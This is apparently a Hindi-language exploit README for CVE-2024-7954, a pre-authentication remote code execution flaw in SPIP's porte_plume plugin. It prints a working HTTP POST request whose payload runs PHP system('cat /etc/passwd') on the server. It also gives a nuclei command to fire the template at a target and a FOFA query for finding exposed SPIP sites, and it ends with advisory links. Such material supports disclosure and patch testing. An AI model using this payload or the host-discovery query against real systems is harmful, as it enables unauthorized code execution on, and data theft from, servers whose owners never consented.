CVE-2024-7954-RCE

विवरण

SPIP द्वारा 4.30-alpha2, 4.2.13, और 4.1.16 से पहले उपयोग किया जाने वाला porte_plume प्लगइन एक मनमाना कोड निष्पादन भेद्यता के लिए संवेदनशील है। एक दूरस्थ और अप्रमाणित हमलावर एक क्राफ्टेड HTTP अनुरोध भेजकर SPIP उपयोगकर्ता के रूप में मनमाना PHP निष्पादित कर सकता है।

शोषण (अवधारणा का प्रमाण)

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

उपयोग

nuclei --target {host.com} -t CVE-2024-7954.yaml

FOFA क्वेरी

app="SPIP"

संदर्भ

• https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
• https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
• https://vulncheck.com/advisories/spip-porte-plume
• https://nvd.nist.gov/vuln/detail/CVE-2024-7954
• https://security-tracker.debian.org/tracker/CVE-2024-7954